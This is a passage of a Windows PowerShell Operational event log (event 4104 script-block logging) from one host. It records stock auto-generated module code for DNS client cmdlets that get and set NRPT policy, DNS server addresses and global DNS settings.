$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP PS_DnsClientNRPTGlobal_v1.0.0.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-DnsClientNrptGlobal' -Alias '*'
ScriptBlock ID: f88be489-846a-4c90-b418-479d2eb8c006
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1961 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:10 AM | dfeadd90-ee34-0002-dafe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'root/Microsoft/Windows/DNS/PS_DnsClientNrptPolicy'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-DnsClientNrptPolicy
{
[CmdletBinding(PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance[]])][OutputType('Microsoft.Management.Infrastructure.CimInstance#DnsClientPolicyConfiguration')]
param(
[Parameter(ParameterSetName='Get0')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${Effective},
[Parameter(ParameterSetName='Get0', Position=1, ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]
${Namespace},
[Parameter(ParameterSetName='Get0')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='Get0')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='Get0')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Effective')) {
[object]$__cmdletization_value = ${Effective}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Effective'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Effective'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Namespace')) {
[object]$__cmdletization_value = ${Namespace}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Namespace'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Namespace'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance[]'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameter.ParameterTypeName = 'Microsoft.Management.Infrastructure.CimInstance#DnsClientPolicyConfiguration'
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{ Name = 'ReturnValue'; ParameterType = 'System.Int32'; Bindings = 'Error'; Value = $null; IsValuePresent = $false }
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Get', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_methodInvocationInfo)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP PS_DnsClientNrptPolicy_v1.0.0.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-DnsClientNrptPolicy' -Alias '*'
ScriptBlock ID: 376e69c4-4d14-4956-b323-e7ff7b11513e
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1960 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:10 AM | dfeadd90-ee34-0003-bdf5-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_DNSClientServerAddress'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-DnsClientServerAddress
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_DNSClientServerAddress')]
param(
[Parameter(ParameterSetName='ByName', ValueFromPipeline=$true, ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[uint32[]]
${InterfaceIndex},
[Parameter(ParameterSetName='ByName', Position=0)]
[ValidateNotNull()]
[string[]]
${InterfaceAlias},
[Parameter(ParameterSetName='ByName')]
[Alias('Family')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.DnsClientServerAddress.AddressFamily[]]
${AddressFamily},
[Parameter(ParameterSetName='ByName')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('InterfaceIndex') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceIndex})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceIndex', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceAlias') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceAlias})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceAlias', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('AddressFamily') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${AddressFamily})
$__cmdletization_queryBuilder.FilterByProperty('AddressFamily', $__cmdletization_values, $false, 'Default')
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_DnsClientServerAddress.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-DnsClientServerAddress' -Alias '*'
function Set-DnsClientServerAddress
{
[CmdletBinding(DefaultParameterSetName='ByAlias', SupportsShouldProcess=$true, ConfirmImpact='Low', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_DNSClientServerAddress')]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, ValueFromPipeline=$true, ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[uint32[]]
${InterfaceIndex},
[Parameter(ParameterSetName='ByAlias', Mandatory=$true, Position=0)]
[ValidateNotNull()]
[string[]]
${InterfaceAlias},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_DNSClientServerAddress')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByAlias')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Addresses')]
[string[]]
${ServerAddresses},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByAlias')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${Validate},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByAlias')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('ResetAddresses')]
[switch]
${ResetServerAddresses},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByAlias')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByAlias')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByAlias')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByAlias')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('InterfaceIndex') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceIndex})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceIndex', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceAlias') -and (@('ByAlias') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceAlias})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceAlias', $__cmdletization_values, $true, 'Default')
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByAlias', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('ServerAddresses')) {
[object]$__cmdletization_value = ${ServerAddresses}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:ServerAddresses'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:ServerAddresses'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Validate')) {
[object]$__cmdletization_value = ${Validate}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:Validate'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:Validate'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('ResetServerAddresses')) {
[object]$__cmdletization_value = ${ResetServerAddresses}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:ResetServerAddresses'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:ResetServerAddresses'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_DnsClientServerAddress.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-DnsClientServerAddress' -Alias '*'
ScriptBlock ID: 1ccd995f-21e1-4c4e-855b-93b2c69f5da5
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1959 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:10 AM | dfeadd90-ee34-0002-d7fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_DNSClientGlobalSetting'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-DnsClientGlobalSetting
{
[CmdletBinding(PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_DNSClientGlobalSetting')]
param(
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[int]
${ThrottleLimit},
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_DnsClientGlobalSetting.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-DnsClientGlobalSetting' -Alias '*'
function Set-DnsClientGlobalSetting
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Low', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_DNSClientGlobalSetting')]
param(
[Parameter(ParameterSetName='InputObject (cdxml)', ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_DNSClientGlobalSetting')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[string[]]
${SuffixSearchList},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[bool]
${UseDevolution},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[uint32]
${DevolutionLevel},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('SuffixSearchList')) {
[object]$__cmdletization_value = ${SuffixSearchList}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'SuffixSearchList'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'SuffixSearchList'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('UseDevolution')) {
[object]$__cmdletization_value = ${UseDevolution}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'UseDevolution'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'UseDevolution'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DevolutionLevel')) {
[object]$__cmdletization_value = ${DevolutionLevel}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DevolutionLevel'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DevolutionLevel'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_DnsClientGlobalSetting.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-DnsClientGlobalSetting' -Alias '*'
ScriptBlock ID: 74e37f46-66a2-4182-b1f5-1b069bfc00a1
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1958 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:10 AM | dfeadd90-ee34-0002-d3fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
